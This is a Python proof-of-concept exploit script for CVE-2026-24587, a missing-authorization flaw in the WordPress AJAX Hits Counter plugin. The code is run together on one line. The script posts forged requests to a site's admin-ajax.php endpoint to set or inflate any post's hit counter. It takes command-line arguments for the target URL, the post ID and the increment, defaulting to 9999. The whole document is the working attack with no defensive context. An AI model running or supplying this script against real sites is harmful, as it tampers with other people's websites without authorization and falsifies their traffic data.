CVE-2026-24587

import requests import sys # CVE-2026-24587 PoC - Missing Authorization in AJAX Hits Counter Plugin # Target: WordPress site with AJAX Hits Counter plugin <= 0.10.210305 def exploit_cve_2026_24587(target_url, post_id, increment_value): """ Exploit missing authorization vulnerability in AJAX Hits Counter plugin Allows low-privileged users to manipulate post hit counters Args: target_url: Base URL of WordPress site post_id: Target post ID to modify hit counter increment_value: Value to add to hit counter """ ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to exploit the authorization bypass data = { 'action': 'ahc_hit', # Plugin AJAX action 'post_id': post_id, 'hit_count': increment_value } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: print(f"[*] Sending exploit request to {ajax_endpoint}") print(f"[*] Target Post ID: {post_id}, Increment: {increment_value}") response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request successful - Status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Request failed - Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-24587.py <target_url> [post_id] [increment]") print("Example: python cve-2026-24587.py http://example.com 1 9999") sys.exit(1) target = sys.argv[1] post_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1 increment = sys.argv[3] if len(sys.argv) > 3 else '9999' exploit_cve_2026_24587(target, post_id, increment)

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